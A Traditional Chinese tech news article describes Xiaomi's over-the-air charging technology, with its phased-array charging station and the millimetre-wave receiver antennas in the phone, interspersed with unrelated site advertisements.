據小米的說明, 小米隔空充電系統的技術核心在於空間定位和隔空能量傳輸。在小米自研的隔空充電樁內建 5 個相位干涉天線,可以對手機進行毫秒級空間定位精準偵測手機位置。另外,搭載 144 個天線構成的相位控制陣列,再通過波束成行將毫米波定位發射給手機。

在手機端,小米也自研天線陣列的小型化設計,內建「信號天線」和「接收天線陣列」。信號天線通過低功耗方式在空間範圍內廣播位置資訊。另外, 14 根天線組成的天收天線陣列,則將充電樁發射的毫米波信號通過整流電路轉化為電能,最終實現以前我們在科幻電影才能看到的隔空充電。

目前小米展示的隔空充電技術,已經能實現對於數公尺半徑內每個單一設備 5W 的遠距離充電。

不僅如此,如果同時有多支手機要同時使用小米隔空充電,每台設備也都能支持 5W 的充電功率。

就算被物體遮擋住也能不影響充電效率:

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

擁有後台管理系統的網站,將擁有強大的資料管理與更新功能,幫助您隨時新增網站的內容並節省網站開發的成本。

在充電範圍內,用戶無論是手持上社群聊天或一邊看影片、玩遊戲,甚至是一邊走動狀態也能保持手機處於充電狀態:

除了手機,小米也預告不久後隔空充電技術還可為智慧手錶、手環等穿戴裝置進行隔空充電。未來在客廳包括音箱、檯燈等小型智慧家電產品,也都能實現無線供電,這也將徹底擺脫電線束縛,真正實現客廳的無線化時代。

完整影片

圖片/消息:小米手機(微博)|雷軍(微博)

延伸閱讀:
小米11 國際版通過 NCC 認證,近期有望正式發表並於未來在台開賣!

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※教你寫出一流的銷售文案?

銷售文案是什麼?A文案是廣告用的文字。舉凡任何宣傳、行銷、販賣商品時所用到的文字都是文案。在網路時代,文案成為行銷中最重要的宣傳方式,好的文案可節省大量宣傳資源,達成行銷目的。